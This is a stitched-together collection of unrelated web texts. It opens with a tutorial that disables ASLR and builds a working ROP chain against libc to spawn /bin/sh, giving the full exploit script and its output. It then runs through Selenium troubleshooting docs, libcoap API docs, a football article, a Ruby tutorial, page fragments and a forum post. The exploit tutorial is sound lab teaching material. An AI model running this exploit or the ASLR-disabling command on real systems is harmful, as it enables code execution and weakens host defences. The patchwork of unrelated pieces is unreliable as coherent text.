For ease of understanding let us switch off the ASLR:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Check the security attributes of binary using gdb-peda
$ gdb-peda -q ./rop
Reading symbols from ./rop...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Find the offset to EIP
Now, let’s find the offset to the EIP
in this program using pattern_create
and pattern_offset
commands:
gdb-peda$ pattern_create 50 patt.txt
gdb-peda$ r $(cat patt.txt)
Stopped reason: SIGSEGV
0x2d414143 in ?? ()
gdb-peda$ pattern_offset 0x2d414143
759251267 found at offset: 18
Find gadgets and build the ROP chain
We have to find the required gadgets from the libc
library used by our program. In order to find the libc
version, load the program in gdb-peda
and put a breakpoint at main()
:
gdb-peda$ b main
Run the program and use vmmap
to see the modules loaded by the program
gdb-peda$ vmmap
Start End Perm Name
0x56555000 0x56556000 r-xp /home/cdac/prac-examples/rop
0x56556000 0x56557000 r--p /home/cdac/prac-examples/rop
0x56557000 0x56558000 rw-p /home/cdac/prac-examples/rop
0xf7ddd000 0xf7fb2000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb3000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb5000 r--p /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb6000 rw-p /lib/i386-linux-gnu/libc-2.27.so
0xf7fb6000 0xf7fb9000 rw-p mapped
0xf7fcf000 0xf7fd1000 rw-p mapped
...
Here, we can see the version of libc
that is getting loaded at runtime. /lib/i386-linux-gnu/libc-2.27.so
is getting loaded at the base address of 0xf7ddd000
. We will now use the following command to search for gadgets and create a chain using ROPGadget
tool
$ ROPgadget --ropchain --binary /lib/i386-linux-gnu/libc-2.27.so > ./gadgets.txt
The gadgets found will be saved in gadgets.txt
file. At the end of the file we can see that a python2
code will be generated for ROP chain to call /bin/sh
. Let us have a peep inside this file
Unique gadgets found: 118662
ROP chain generation
===========================================================
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
The addresses inside the ROP chain will be offsets inside the libc.so
library. We have to add the base address that we have noted earlier. After adding the base address and the offset for the EIP
, the python script will look as follows:
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Offset to EIP
p = 'A'*18
# Add the base address of the libc.so library
base = 0xf7ddd000
# Put the address of .data section will be moved into edx register
p += pack('<I', base + 0x00001aae) # pop edx ; ret
p += pack('<I', base + 0x001d8040) # @ .data
# Address of '/bin' string into eax register
p += pack('<I', base + 0x00024c1e) # pop eax ; ret
p += '/bin'
# Mov '/bin' string to start of .data section
p += pack('<I', base + 0x00075655) # mov dword ptr [edx], eax ; ret
# Mov '//sh' string to .data+4 section
p += pack('<I', base + 0x00001aae) # pop edx ; ret
p += pack('<I', base + 0x001d8044) # @ .data + 4
p += pack('<I', base + 0x00024c1e) # pop eax ; ret
p += '//sh'
p += pack('<I', base + 0x00075655) # mov dword ptr [edx], eax ; ret
# Now, we have to give two more arguments to the execve() function, which can be null
p += pack('<I', base + 0x00001aae) # pop edx ; ret
p += pack('<I', base + 0x001d8048) # @ .data + 8
p += pack('<I', base + 0x0002e565) # xor eax, eax ; ret
p += pack('<I', base + 0x00075655) # mov dword ptr [edx], eax ; ret
# First argument has to be in ebx
p += pack('<I', base + 0x00018c85) # pop ebx ; ret
p += pack('<I', base + 0x001d8040) # @ .data
# Second argument in ecx register which is null
p += pack('<I', base + 0x001926d5) # pop ecx ; ret
p += pack('<I', base + 0x001d8048) # @ .data + 8
# Third argument in edx register which is null
p += pack('<I', base + 0x00001aae) # pop edx ; ret
p += pack('<I', base + 0x001d8048) # @ .data + 8
# Now, we have to place 11 in eax which is number of execve() system call
p += pack('<I', base + 0x0002e565) # xor eax, eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
p += pack('<I', base + 0x00024bf8) # inc eax ; ret
# Syscall exception
p += pack('<I', base + 0x00002d37) # int 0x80
print p
To this code we have added the offset to EIP offset which is 18 bytes and also the base address of libc
library. Here the pack
library is used to automatically reverse the address as per little endian format requirements.
$ ./rop $(python rop-exploit.py)
Buf:AAAAAAAAAAAAAAAAAA����@P����
$ whoami
secure
$ id
uid=1000(secure) gid=1000(secure) groups=1000(secure)
Voila!! we have successfully executed the /bin/sh
using ROP chain.


Troubleshooting Tests¶
Contents
Common Issues¶
“Element is not clickable at point (x,y). Other element would receive the click”¶
You may run across errors saying “Element is not clickable at point (x,y). Other element would receive the click: <element>”. This is often due to a fixed element obstructing the element you’re attempting to click, such as a sticky navbar or violator.
The webdriver.actions.scroll
submodule includes the
scroll.into_view_fixed_nav()
function, which scrolls an element into view
relative to a fixed object that may obstruct it. For example, suppose we want to
click on button_element
, but it’s obstructed by a fixed navbar
nav_element
:
...
# Scroll element to the top of the screen, relative to the fixed nav
scroll.into_view_fixed_nav(driver, button_element, nav_element)
# Click the button
button_element.click()
Despite the name, this function is not limited to objects fixed to the top of
the screen. Setting the optional parameter align_to_top=False
will scroll
the target element into view relative to a fixed element on the bottom of the
screen. E.g. suppose we want to click on button_element
, but it’s obstructed
by violator_element
which is fixed to the bottom of the screen:
...
# Scroll element to the bottom of the screen, relative to the violator
scroll.into_view_fixed_nav(driver, button_element, violator_element,
align_to_top=False)
# Click the button
button_element.click()
For more information, see the API documentation for
scroll.into_view_fixed_nav()
.
Accounting for timeouts on slow sites or pages¶
By default, WebDriverTestCase assertion methods wait 10 seconds for the expected condition to occur before failing. There are some instances where the default assertion wait time might not be long enough for a slower site or page, causing tests to timeout prematurely. This default time can be overridden for a specific assertion, an entire test case, or for the entire test project.
Set timeout for a single assertion¶
Each of the WebDriverTestCase assertion methods
accepts an optional parameter wait_timeout
, which overrides the default
timeout for a single assertion. E.g.:
self.assertVisible(element_locator, wait_timeout=30)
Set default timeout for a test case¶
If there are many assertions in a test case that are timing out prematurely, you
can set the DEFAULT_ASSERTION_TIMEOUT
attribute, which will be used as the
default timeout value for all assertions in that class. E.g.:
class SlowPageTestCase(WebDriverTestCase):
"""Example test of a slow page"""
SITE_URL = config.SiteConfig.SLOW_PAGE_URL
# Set the default timeout for this class to 30 seconds
DEFAULT_ASSERTION_TIMEOUT = 30
def test_something(self):
"""Test a thing"""
...
# Will wait 30 seconds
self.assertExists(element_locator)
def test_something_else(self):
"""Test another thing"""
...
# Will wait 30 seconds
self.assertInvisible(element_locator)
# wait_timeout parameter takes precedence
self.assertUrlChange(expected_url, wait_timeout=10)
Set default timeout for entire test project¶
You can also set the default timeout for all test cases in a project by setting
WebDriverConfig.DEFAULT_ASSERTION_TIMEOUT
. E.g.:
class WebDriverConfig(config.WebDriverConfig):
...
DEFAULT_ASSERTION_TIMEOUT = 30
As mentioned previously, this default can be overridden per-test case and per-assertion.
Issues with specific browser drivers¶
Browser-specific WebDrivers occasionally have bugs or quirks specific to them. You may notice that a test is failing in a specific browser due to an exception raised by the driver, rather than an assertion failing, which may be a sign that your test is using a feature that isn’t working or is handled differently in that browser.
Driver-specific issues can be difficult to pinpoint. If the test failure is only happening for a certain browser, or you notice a pattern of tests failing in a browser with similar exceptions, it can be useful to research that issue and see if it’s a known bug or if a workaround exists.
You may also want to check the links to each browser’s Selenium driver in the driver table to see if everything’s up-to-date or if the issue you’re experiencing is documented.
If a workaround can’t be found and the test failure seems to be a browser-specific driver issue, you can skip these tests for the problem browser. See Skipping tests for certain browsers for more info.
Tools for Debugging Tests¶
Screenshots¶
When troubleshooting a test, it can be useful to take screenshots to get a visual of the window during testing. This framework includes utilities for taking screenshots on test failure or at arbitrary points of a test. See the Screenshots documentation for details.
Pausing test execution¶
When troubleshooting, it can be helpful to pause test execution at certain
points review things step-by-step. A simple way to insert a pause is using
Python’s input()
function. This function is meant to be used to prompt for
user input, but it can also be used to pause a test until hitting ‘Enter’,
allowing you to look at the browser window before continuing. E.g.:
...
def test_pause_example(self):
...
# This will pause test execution until you hit enter
# NOTE: you don't need to pass any parameters to input, this is just what
# will be printed to standard output
input('Paused')
...
Reporting an Issue with webdriver_test_tools¶
If the issue you’re encountering appears to be with webdriver_test_tools
specifically (rather than with Selenium or a specific browser driver), you can
report the issue on GitHub. Before creating the issue:
Make sure you’re using the most up-to-date version of the
webdriver_test_tools
package (e.g. runpip install --upgrade webdriver_test_tools
)Check the open GitHub Issues to see if the issue has already been reported
If the issue hasn’t been reported yet but appears to be related to Selenium, check Selenium’s GitHub Issues to see if the issue has already been reported
If the issue isn’t reported there and appears to be specific to WebDriver Test Tools, open a new issue and fill out the required details, being as specific as possible.


Play a little game of snake! Press the button to start a game. Use the add map button to upload a map for playing with. Use the WASD keys to navigate.
Snake status: Not started
click here to go to the editor
Load a map


Do It Yourself (OpenJDK) Garbage Collector As it might be too daunting to read the entire implementation, this section tries to introduce it piece by piece.
New and improved NuGet Search is here! | The NuGet Blog % We are excited to announce the new and improved search on NuGet.org leveraging Azure Search. Try the new search today!
ASP.NET Core Tag Helpers and View Components Everything you need to know to start using Tag Helpers in your ASP.NET Core MVC Razor View Pages. Learn more on Pluralsight today!
Haim | AI21 Labs Meet HAIM, a language model that can fill-in synthetic text between a human-written beginning and a human-written ending. HAIM allows the user to guide the text generation more accurately than its predecessors, by feeding the model with an ending and a de...
AAPAT Spring festival is a time of celebration and family gathering, but this year, it was filled with disparity, isolation and loss. Wuhan was suddenly known for the outbreak of Nobel Coronavirus, a newly infectious disease spreading in the River Hang Region ...
The Bot That Helps You Merge Mergdroid is a GitHub App that can help automatically resolve gnarly merge conflicts in your GitHub repositories using semantic diff/merge technology.
wybiral/terrain Create a 3d terrain with WebGL. Contribute to wybiral/terrain development by creating an account on GitHub.
Davido - If (Official Music Video) Davido - If Listen to/download 'If' here: http://smarturl.it/Davido-If?IQid=YT --------------------------------------------------- More from Davido: Flora My Flawa - http://smarturl.it/FloraMyFlawa?IQid=YT Like Dat - http://smarturl.it/Davido-LikeDat?I...


Made by Stephen Policelli. This website was made for the Third Eye Parole Yugioh group. You can find our Discord here:
Otherwise, you can send me an email at 123outerme@outlook.com.


audio
element: MP3Tests whether the HTML5 audio
element is supported using MP3
audio.
If the preceding audio clip can be played (a woman's voice will be heard, beginning "a crime to sink your teeth into"), the test passes.
audio
element: MP4 AAC LCTests whether the HTML5 audio
element is supported using AAC LC
audio in an MP4
container.
If the preceding audio clip can be played (a woman's voice will be heard, beginning "a crime to sink your teeth into"), the test passes.
audio
element: source
elementsTests whether media specified via source
elements is recognized:
If the preceding audio clip can be played (a woman's voice will be heard, beginning "a crime to sink your teeth into"), the test passes.


 Master Crafter Alf, takes you as his apprentice and teaches you the fine art of crafting. You learn everything you can, increase your skills, discover new recipes and craft a ton of stuff. You build a village one stick at a time and further progress humankind. But some forces will stand in the way of your progress...
- Average 4.8 star reviews
- Offline single player, No ads
- 20% of our players play 20+ hours
- 95 Quests with stories about the hardships of the Stone Ages
- Mash of 6 Genres: RPG, Puzzle, Incremental, Adventure, Unfolding, Crafting
- The only game with a recipe discovery mechanic where you get recipe ideas by crafting strategically.
We’d love it if you took the time to play and review Dawn of Crafting.
Contact me if you’ve got any questions!
Hope to hear from you Eli!
Note: Promo code expires at 23 May
|
|
|
|


Treeview JS
Creates a tree view from an unordered list
Example:
- Apples
- Granny Smith
- Golden Delicious
- Pink Lady
- Pine
- Grapes
- Seedless
- Green
- Red
- Seedful
- Green
- Red
- Seedless
- Pears
- Coconut
- Lime
Usage:
Include the Treeview JS script somewhere in the page and create the treeview with "new TreeView(Selector);". Selector must match the first UL in the list.
<script src="treeview/treeview.0.2.js"></script>
<script>
(function(){
new TreeView('#TreeView');
})();
</script>
You can also create multiple trees in the same page (with the same selector) and have branches open by default by adding the "open" class to an LI
- Apples
- Granny Smith
- Golden Delicious
- Pink Lady
- Pine
- Grapes
- Seedless
- Green
- Red
- Seedful
- Green
- Red
- Seedless
- Pears
- Coconut
- Lime
- Apples
- Granny Smith
- Golden Delicious
- Pink Lady
- Pine
- Grapes
- Seedless
- Green
- Red
- Seedful
- Green
- Red
- Seedless
- Pears
- Coconut
- Lime


{{this.locationService.location?.description}}
Address {{this.locationService.location?.address}}
Coord X: {{this.locationService.location?.coordX}}
Coord Y: {{this.locationService.location?.coordY}}
Authors working history: {{this.locationService.location?.author}}
Update


--- layout: default title: TANN'17 - Events meta: The important deadlines for TANN keyword: nanotechnology conference, nanofluid conference, nanomaterial conference, nanoparticle conference, nano conference, nanotube conference, nanocatalysis conference, nanoelectronics conference, graphene conference, drug delivery conference, tissue engineering conference, nanotechnology and coating conference, nanotechnology market conference, nanotechnology modeling conference, nanotechnology simulation conference, nanobiotechnology, nanobiomechanics, nanodevices, nanotechnology, nanofluid, nanomaterial, nanoparticle, nano, nanotube, nanocatalysis, nanoelectronics, graphene, drug delivery, tissue engineering, nanotechnology and coating, nanotechnology market, nanotechnology modeling, nanotechnology simulation, nanobiotechnology conference, nanobiomechanics conference, nanodevices conference ---
There are currently two types of opportunities for an exhibit at TANN. They are as followed (prices are in CAD):
Table exhibit, $2000:
Booth exhibit, $2000:
The exhibit provides a platform for companies and institutions to present their products and distribute brochures and business cards. The exhibit also provides a unique networking opportunity with many experts and researchers in the field of environmental science and engineering.
If you are interested in an exhibit at TANN, please do not hesitate to contact us at info@tannconference.com.


|
libcoap 4.3.1
|
#include <stdint.h>
Go to the source code of this file.
Data Structures | |
| struct | murmur3_context_t |
| Naïve implementation of Murmur3 for 32 bit with update functionality. More... | |
Typedefs | |
| typedef struct murmur3_context_t | murmur3_context_t |
| Naïve implementation of Murmur3 for 32 bit with update functionality. More... | |
Functions | |
| void | murmur3_32_init (murmur3_context_t *mctx) |
Initializes the provided murmur3 context object mctx . More... | |
| void | murmur3_32_update (murmur3_context_t *mctx, const void *data, size_t len) |
Updates the state of the murmur3 context object mctx with len bytes from data . More... | |
| uint32_t | murmur3_32_finalize (murmur3_context_t *mctx) |
Finalizes the given murmur3 context mctx and calculates the resulting murmur3 hash value. More... | |
| uint32_t | murmur3_32 (const void *data, size_t len) |
Calculcates the murmur3 hash value of data . More... | |
| typedef struct murmur3_context_t murmur3_context_t |
Naïve implementation of Murmur3 for 32 bit with update functionality.
See https://en.wikipedia.org/wiki/MurmurHash#Algorithm and https://github.com/aappleby/smhasher/wiki/MurmurHash3
Copyright (C) 2020 Olaf Bergmann bergm.nosp@m.ann@.nosp<EMAIL_ADDRESS>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
| uint32_t murmur3_32 | ( | const void * | data, |
| size_t | len | ||
| ) |
Calculcates the murmur3 hash value of data
.
This is a convenience function that encapsulates the required calls to murmur3_32_init(), murmur3_32_update(), and murmur3_32_finalize().
| data | The data to hash. |
| len | The actual length of data . |
Definition at line 145 of file murmur3.c.
| uint32_t murmur3_32_finalize | ( | murmur3_context_t * | mctx | ) |
Finalizes the given murmur3 context mctx
and calculates the resulting murmur3 hash value.
| mctx | The murmur3 context to update. |
mctx
. Definition at line 123 of file murmur3.c.
| void murmur3_32_init | ( | murmur3_context_t * | mctx | ) |
| void murmur3_32_update | ( | murmur3_context_t * | mctx, |
| const void * | data, | ||
| size_t | len | ||
| ) |
Updates the state of the murmur3 context object mctx
with len
bytes from data
.
| mctx | The murmur3 context to update. |
| data | The data to hash. |
| len | The actual length of data . |
Definition at line 98 of file murmur3.c.


Mick McCarthy has no fears about potential Windsor Park meeting with Northern Ireland
The Republic of Ireland were dealt a blow when it emerged they must win twice away in 5 days to qualify for Euro 2020
by Michael ScullyMick McCarthy has no fears about a potential Windsor Park showdown with Northern Ireland for a place in the Euro 2020 finals.
The Republic of Ireland were dealt a blow earlier today when it emerged they must win twice away from home in the space of five days in March to make the Euros next summer.

But following UEFA's play-offs draw in Nyon, it was confirmed that Ireland - if they overcome Slovakia - will be away to the winners of the Northern Ireland and Bosnia-Herzegovina semi-final on March 31.
In that scenario, supporters will face a scramble for tickets for Belfast or Bratislava - with tickets officially limited to five percent of capacity.
FAI bosses are currently negotiating for more tickets for the Slovakia clash. Although all their home pool games were in Trnava, the Slovaks are now expected to host the game in the capital, Bratislava.
Ireland supporters were told yesterday that confirmation of that wouldn't come before December 20, but later it emerged that the four nation's associations will meet next week to discuss logistics and there may be more news.
McCarthy, who retired before the infamous qualifier in Windsor Park in 1993 that saw Jack Charlton's side qualify for the World Cup, is not concerned if the Republic return to Belfast for a winner-takes-all decider.
“Not really, no," he replied. "You can’t start picking what games you would or wouldn’t like to play.
"I’d just recognise it as a football match which would be very tough. I don’t know whether Michael O’Neill would be still in charge, but they’ve been a very good team. It would be an extremely difficult game.
"I hope we’re in a final, wherever it is."
When Ireland played Belgium in a two-legged World Cup play-off in 1987, there was a fortnight between the fixtures.
But the Slovakia game is a one-off - followed by only a five-day turnaround if Ireland progress to the final.
“I don’t know if it’s a help or a nuisance, it’s where we are," reflected McCarthy.
"If we’re in it (a final), we’ll all be happily dancing, looking forward to it.
"If we’re out it will be a completely different feeling. But this is how it was set up. When I took the job, I knew it was always going to be decided either now in November or in March.
"We drew in Georgia. OK, we didn’t play well for 35 minutes in Switzerland. If we had done for all of the match…we drew in Denmark, so I’m not worried about going away.
“Home advantage is always an advantage because you don’t have to travel. You feel more comfortable.
"But I don’t go into that thought process, ‘it’s hard to win away from home’.
"Would they be looking at us thinking, ‘that’s an easy game against the Republic of Ireland’ - especially with how we played in the last game, and in Denmark?
"I wouldn’t imagine so".
If you haven't already, be sure to like our Irish Mirror Sport and Irish Mirror GAA pages on Facebook and follow us on Twitter.
How to follow the Irish Mirror on social media
You can like our main Facebook page here.
Our Irish Mirror Sports page - which brings you all your Irish and UK sports news - can be found here.
You can also check out our Irish Mirror GAA sports page.
The Irish Mirror Twitter account is @IrishMirror while our sports account is @MirrorSportIE.
Our Instagram account can be found here.


Ruby Classes
Classes are used extensively in Ruby language, and creating your own classes can save a lot of time and headache. Say you need to create several objects that are all going to share the same properties and methods. By creating a class, you only have to type all that code once. Every time you initialize a new class object, it'll already have all that code built in.
Here's an example of a Class called 'Kid'
class Kid def initialize(name, favorite_color, height_inches) @name = name @favorite_color = favorite_color @height = height_inches end attr_reader :name attr_writer :favorite_color attr_accessor :height def hello puts "Hello #{@name}!" end def color puts "#{@name}'s favorite color is #{@favorite_color}" end def grow(added_height) @height += added_height puts "#{@name} grew #{added_height} inches. #{@name}'s now #{@height} inches tall!" end end
So, what's going on here? First, if you'd like to be able to create object instances of this class, you need to write a method called initialize. This method is always called initialize inside of a class, and it's used to create a new instance of the class. Looks like there're three things that we want to keep track of inside the class Kid and that's name, favorite color, and height. If we were to create a new instance of Kid, it would look like this.
boy = Kid.new("Charles", "green", 50) p boy # => <Kid:0x000000017c3f70 @name="Charles", @favorite_color="green", @height=50>
And there you have it. We've created a new object assigned to the variable 'boy.' 'boy' has a unique object number and the three variables that we used as arguments for the initialize method have been stored in variables inside the object. Not just any variables though, variables with an @ at the beginning are called instance variables. They're variables which are created in the class Kid code block. But, by making them instance variables, they're assigned to and accessible from a place that would normally be outside of their scope, in the newly created class object.
There's also some methods included. The methods #hello, #color, and #grow are written inside the class Kid. Thus, they are accessible in instances of that class. One of which we just so happen to have already created, stored in the variable 'boy.' Let's call those methods and see what they do.
puts boy.name # => Charles
'attr_reader' is a little shortcut in the class which allows the included variable to be accessed inside 'boy' using dot notation. We see that used here, and it returns simply the value of '@name', "Charles."
boy.hello # => Hello Charles!
Here we can see that the method #hello is included inside the object boy and can be called from there.
boy.grow(5) # => Charles grew 5 inches. Charles's now 55 inches tall!
The method grow is similarly included inside boy. This method requires one argument and uses that argument to permanently alter the instance variable height, stored in boy. In this case, it changes it from 50 to 55.
boy.height = 30 puts boy.height # => 30
'attr_writer' is another shortcut that allows for the user to alter the included variable's value through dot notation. In this class, there's an 'attr_writer' for height. So, by using 'boy.height = 30', the value of 'boy.height' has been permanently changed to 30.
boy.favorite_color = "red" boy.color # => Charles's favorite color is red
'attr_accessor' includes both abilities of 'attr_reader' and 'attr_writer', so in this example, the variable height can be returned or altered in the same way as the previous examples.
boy.name = "Gary" # => @ line 39 : # => 39: boy.name = "Gary" # => NoMethodError: undefined method `name=' for #<Kid:0x000000023fd7a0> # => from solution.rb:39:in `<main>'
The variable name only has an attr_reader included for it. So, in the final line, when we try to alter the value of 'boy.name' like we would with an 'attr_writer' or 'attr_accessor', we get a NoMethodError. 'attr_reader' only enables the user to return that variable's value.
We could now go on to create as many instances of the class 'Kid' as we would like. We could quickly create objects for every kid in a classroom, and every 'Kid' object would have all the class methods instantly built into them. If we decided that we'd like to change one of those methods, or add some, we could do so in the class definition and it those changes would automatically be accessible through all class objects.
I almost forgot to talk about instance methods. I'll quickly explain them here. All the methods included in the previous example are instance methods, they exist in the instance of the object and have acess to all instance variables. Class methods however, exist only in the class and don't have acess to instance variables or methods. A class method is defined with self before the method name like such.
def self.print_line puts "This class method prints this line" end
A call to this method from the object 'boy' will yield a NoMethodError. As you can see, the method can be called from the class Kid though.
boy.print_line # => NoMethodError: undefined method `print_line' for#<Kid:0x00000001f036a0> Kid.print_line # => This class method prints this line


UBER
EATS
Profile
Shopping Cart
ViewCart
CustomerPayment
Order
Search Restuarant
Register
SignIn
DriverRegistration
DriverSignIn
Admin Login


El Alamein - La linea del fuoco / El Alamein: The Line of Fire
El Alamein - La linea del fuoco is a movie starring Paolo Briguglia, Pierfrancesco Favino, and Luciano Scarpa. War seen through the eyes of Serra, a university student from Palermo who volunteers in 1942 to fight in Africa. He is...


Robert Gabriel is a Software Engineer at Teamwork.com working with the Teamwork Projects team on importers for the product also leading the online and internal web sites team to 100% scalable and cutting edge. He is also develops/helps out on several open-source projects including Robin, Yettii, Xbox DVR Open Dyslexia (which has 60,000 uses) and upcoming Jarvis. Robert is also the author of several published papers including Problems Posed by Ad-blockers and Web Accessibility and OpenDyslexia. Lucky enough to win over 21 awards for backend and frontend development. Studied computer science at Cork Institute of Technology in Ireland and graduated at the top of my class.
I'm currently working on something like Jarvis, Open Dyslexic, Robin ,Material Bootstrap and Teamwork Projects.
| HTML5 | PHP5 | CSS3, Less & Sass |
| Knockout.js | Angular.js | Bootstrap |
| GOLANG | Backbone.js | Require.js |
| Java | Node | Alorgthims |
| Performace | Coffeescript | SQL |
| Database Design | Gulp | API Design |
| ES6 | Javascript | Coldfusion |
| HCI | Object Oriented | Git |
| Handlebars.js | User experience | Ux Design |
| Accessibility Design | NoSQL |
While doing research and odd thoughts on code, I store them on my blog which is here. I also do a lot of talks and presentations on machine learning and HCI/Ux
Yeti Jarvis ,Helperbird ,Xbox One Gamertag Videos ,Robin ,Mr Scrapper ,Open Dyslexic ,Swagger for Golang.are some of my projects. You can find more on GitHub.
Those were some of the awards.
Offered interviews with the likes of Google and significant other companies.favorite
What to contact me about work?, speaking at an event?, spending me free stuff to show off (I love stickers) or just a chat well my email is robert_gabriel@outlook.com.


Quote: Posted 10/18/04 03:29:23 (GMT) -- Zyn248
Personally I think Wizards are better for PvM. However, if you're bent on sorcerers, you would be best off checking out the Exaulted Sorceress build on the Bioware epic builds page.
I can see no point in getting RDD is you're a primary caster. RDD is great for melee builds, but not much help to a caster.